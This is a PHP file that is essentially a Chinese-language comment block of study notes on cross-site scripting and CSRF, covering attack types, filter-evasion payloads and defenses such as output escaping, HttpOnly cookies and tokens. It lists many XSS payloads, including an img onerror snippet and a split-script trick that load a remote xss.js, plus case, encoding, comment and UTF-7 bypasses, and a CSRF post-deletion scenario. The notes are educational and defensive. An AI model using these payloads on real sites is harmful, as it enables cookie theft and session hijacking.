<?php
/*
1、什么是xss?
xss中文名字<跨站脚本>主要是因为web程序对输入输出过滤不足导致的。
攻击者利用xss漏洞把恶意脚本代码(HTML+Javascript)注入到网页中,
当用户浏览这些网页时,就会执行恶意代码,对受害者进行攻击,例如
盗取Cookie,会话劫持,钓鱼欺骗等各种攻击。
2、xss的危害
Cookie盗取
只要有记住密码功能,盗取cookie模拟登陆,没有记住密码,还可以劫持临时会话。
会话劫持
SESSION是临时临时存储的,JS获取不到,但是我们可以构造恶意链接进行欺骗攻击
网络钓鱼
传统的钓鱼网站是模仿,域名和页面必须是独立的,虽然可以做到非常相似,但是稍有疑心的用户就能识破。
但是结合xss技术之后,攻击者能够通过javascript动态控制页面的逻辑,比如修改表单的提交地址,远程记录用户信息
比如:我在nba的搜索页面嵌入一段js,劫持了登录操作,然后我把构造的链接发到其他论坛,用户一旦点链接过来的登录,用户信息就被窃取到了。
<img src="" onerror="javascript:var a = document.createElement('script');a.src = 'http://wangdk.sinaapp.com/js/xss.js'; document.body.appendChild(a);”>
嗅探客户端信息
国外有人实现js的端口扫描器, www.gnucitizen.org
截获剪切板内容
window.clipboardData.getData("Text") ie低版本支持 ie6 ie7需要配置使用, chrome ,firefox 不支持
网页挂马
下载恶意软件,通过修改dom元素,进行截获事件并强制下载恶意软件
XXS蠕虫
新浪微博的xxs蠕虫,3个小时感染10W用户。
CSRF攻击
跨站伪造请求攻击,如果程序没有验证referer 或者token编写程序的时候存在漏洞被利用。以当前用的身份执行一次恶意请求。
比如nba吧,我发一个请求,利用这个请求可以诱骗管理员过来删帖。先构造一个删帖请求,发到微博, 诱骗nba管理员过来点击。
如果nba管理员来点击了这个请求(短链), 请求就会已管理员的身份执行。有多大权限使用多大。如果验证了referer 不能从新浪微博点击过来,
挖掘nba的xss,造成本站CSRF。这样欺骗过referer。
3、xss的类型
反射型
反射型跨站脚本也成作非持久型,参考型跨站脚本。最为常见,也是使用最广泛的一种。主要用与将恶意脚本附加到url中,常见比如站内搜索。
持久型
存储型跨站脚本,比反射型更具威力。并很有可能影响到web服务器本身安全。
留言,评论,博客日志,等交互处,恶意脚本被存到数据库。当其他用户浏览时,就会被攻击。
DOM型
主要JS程序不验证外来数据造成,最容易出现在js业务逻辑中,最难发现,最难寻找。
例如:var a = document.URL; document.write(a.substring(a.indexOf(‘a=‘)+2, a.length);
document.referer,window.name, location 属性都必须过滤
http://www.webappsec.org/projects/articles/071105.html
我们来看看刚才那个网站列举的测试和发掘DOMXSS的对象
document.URL
document.URLUnecoded
document.location
document.referer
window.location
* 触发点
*
* document.write
* document.writeIn
* document.body.innerHTML
* document.forums[0].action
* document.attachEvent
* document.create…
* document.body….
* document.location=
* document.loocation.hostname=
* document.location.replace
* document.location.assign
* document.URL=
* document.open
* window.location.href
* eval
* window.setInterval
* window.setTimeout
*
4、xss的检测
自动化工具:
Acunetix web Vulnerability Scanner
xssDetect
ratproxy
手工注入
XSS 构造和剖析
chrome FF IE10 都具备了过滤普通xss的功能。
一个优秀负责的开发人员是不容许自己的程序代码出现任何漏洞,为了防止跨站脚本攻击,会在web应用中涉及一个xss filter xss过滤器。
xss过滤器一般都是基于黑白名单的安全过滤,把数据过滤之后保存到数据库
从攻击的角度去探讨
1、利用<>标记注射,如果用户可以随心所欲的引入<>标记,那么她就能操作一个html标签,就可以引入js脚本。因此xss过滤器,首先过滤的就是<> <script> 等字符
这样类似<script>alert(0)</script>,就给过滤掉了
2、利用HTML属性标签执行XSS
<table background=“javascript:alert(/xss/);”></table> 用户不能自己构造标签,还可以用属性还执行js。
很多HTML标签属性都支持javascript:[code]为协议的形式,这个特殊的协议类型声明了主体内容就是任意Javascript,由javascript解释器解析执行。
<img src=“javascript:alert(‘css’);”
<table background=“javascript:alert(/xss/);”></table> IE6支持,所以要过滤javascript
3、空格回车tab
如果xss过滤器仅仅把敏感输入字符列入黑名单处理:对敏感词javascript 还可以利用空格,回车,tab键绕过限制,看下面例子
<table background=“javas cript:alert(/xss/);”></table>
<table background=“javas cr ipt:alert(/xss/);”></table>
javascript是以分号结尾的.切记哈。
4、对标签属性进行转码
HTML中的属性值本身支持ASCII码形式,ASCII码即美国信息互换标准代码,是目前计算最通用的编码标准。
例子:<img src=“javascriptt:alert(/xss/);”>
t的ASCII码为116,用t表示, ;分号 :表示
5、产生自己的事件
假设用户不能用HTML属性来进行跨站,我们还有事件
<img src=“” onerror=“javascript:alert(/xss/)”>
跨站事件太多了,而且各个浏览器引擎之间还有所不同。
6、css 跨站
使用CSS样式表执行javascript具有隐蔽,灵活等特点。但是CSS样式表有个缺点,各浏览器之间不能通用,
例1:<div style='background-image:url("javascirpt:alert(0)")'></div>
:<img src="#" style="xss:expression(alert(/xss/));">
例2:<style> @import 'javascript:alert(0)'; </style> IE 可以执行
安全起见,包含expression, javascript, import 等敏感字符的样式表也要进行过滤
7、扰乱规则
一个正常的xss输入
<img src=“javascirpt:alert(0);”>
转换大小写之后
<IMG SRC=“javascript:alert(0);”>
大小写混淆的XSS
<img src=“jaVasCript:alert(0);”>
不用双引号
<img src=‘javascript:alert(0);’>
不用引号
<img src=“javascript:alert(0);”>
<img/src=""> IE6可以执行
当利用expression 执行跨站代码时,可以构造不同的全角字符来扰乱过滤
<XSS STYlE=“xss:exprESSION(‘xss’))”> */
// 8、注释扰乱
// 样式表中会被浏览器忽略,因此可以用/**/来注释字符,绕过黑名单
// <img src="java/*/*javascript*/script/*javascript*/*/script:alert(0);"> ie6
// 可以自己构造任意注释字符了
// 除了/**/之外,样式标签中的\和结束符\0 是浏览器忽略的。如
// @\0im\port’\0\ja\vasc\ript:alert(“xss”)’
/* 还可以将CSS中的关键字进行转码处理,如将e转换为\65 包括改变编码中的0的数量
干扰千变万化,用过可以用个技巧突破过滤系统,当然还要考虑各个浏览器的兼容性
<!— <img src=“—> <img src=x onerror=alert(0)//“>
这个例子用了浏览器解析HTML注释存在的问题来执行javascript
<comment><img src=“</comment><img src=x onerror=alert(0)//>
这个只有IE支持,其他浏览器不支持
<style><img src=“</style><img src=x onerror=alert(0)//“>
9、利用字符编码
字符编码在跨站中用的最多,通过各种编码,绕过后端的过滤。
还记得前面HTML属性支持&#ASCII码,这种xss转码支持十进制和十六进制形式。
写几个解密,加密测试吧
String.fromCharCode(a.charCodeAt())
javascript 支持 unicode escapes 十六进制,八进制,
微软还支持script encoder 加密,加密后IE可以解析
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:a&
#0000108ert('XSS')>
10、拆分跨站法
当程序没有过滤xss 但是限制了长度,就可以使用拆分使用法
使用方法:
<script>z=‘document.’</script>;
<scritp>z=z+'write("'</scritp>
<script>z=z+'<script’></script>
<script>z=z+’scr=http://www.baidu.com/xss.js'</script>
<script>z=z+’</script>'</script>
<script>eval(z);</script>
UTF7编码
UTF7编码是指7位Unicode转换格式,是众多字符集编码的一种,使用+,-符号控制编码的开始和结束。而BOM是字节 顺序标记,是插入到已UTF-8, UTF-16, UTF-32编码的unicode文件开头的特殊标记
用来识别Unicode文件编码类型。
加入有以下代码
<script>alert(0)</script>
UTF7编码以后
+ADw-script+Ad4-alert(0)+ADw-/script+AD4
一般来说浏览器需要知道字符集的编码才能正确的显示网页,如果字符集编码没有在Content-type头或者<meta>标签中定义,某些浏览器会自动猜测网页的字字符集编码。
万恶的IE在碰到UTF7的编码时,会自动解析。
国外的xss测试表,想见识xss测试有多少中狂点吧
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#XSS_Locator
5、XXS防御
1、输入过滤
2、输出编码
3、黑名单和白名单
4、定制过滤策略
5、
6、web安全编码规范
在安全领域有一条黄金法则:“一切输入都是有害的”。即便是这样,因为业务需要,不可能完全过滤用户输入的某些内容,比较可行的解决方案就是在服务端进行Web安全编码,让有害的数据变为无害。
在输出这些对潜在威胁的字符前进行编码,转义是防护与xss攻击的有效措施。
对于web应用而言,其动态可能来源于用户输入,URL, HTTP头,POST数据,Cookies值,查询关键字等。
PHP安全转义htmlspacialchars 将 < > & " ' 转义为实体。
JS前台也要把' 转义\', " 转义 \", \ 转义 \\, / 转义 \/, \n 转为\n, \r 转为 \r, 避免在JS环境上下文中出现这些字符。
表单事件安全过滤:
先对字符进行html转义,在进行javascript转义
< (小于号) 转义 <
> (大于号) 转义 >
& (和号) 转义 &
" (双引号) 转义 "
' (单引号) 转义 '
\ (反斜线) 转义 \\
/ (正斜线) 转义 \/
\n (换行符) 转义 \n
\r (回车符) 转义 \r
使用开源库来防御xss
HTMLPurifier
AnPHP框架1.1.0已集成 AnFilter::html_purifier() 调用即可。
7、HttpOnly Cookie
盗取Cookie是最常见的xss攻击手法之一,唯一解决的办法就是不让javascript读取Cookie, 微软早在2002年IE6sp1就引入了。
PHP设置HttpOnlyCookie
1、修改php.ini
session.cookie_httponly = 1
2、setcookie()函数和setrawcookie()函数也专员们添加第7个参数来设置httpOnly
setcookie("abc", 'test', null, null, null, null, true);
setrawcookie("abc", 'test', null, null, null, null, true)
3、在PHP代码中开启
ini_set("session.cookie_httponly", 1);
session_set_cookie_params(0, null, null, null, true);
8、防御CSRF
目前防御CSRF主要由三种方式
1、检验HTTP Referer
简单易用,但是Referer可以被伪造,另外flash请求的地址是不带Referer的。
2、验证码
体验度不够好,但是足以防御CSRF
3、使用token
一次性token还是比较好的防御CSRF,但是如果页面出现xss漏洞,token就会被盗取。
*/
?>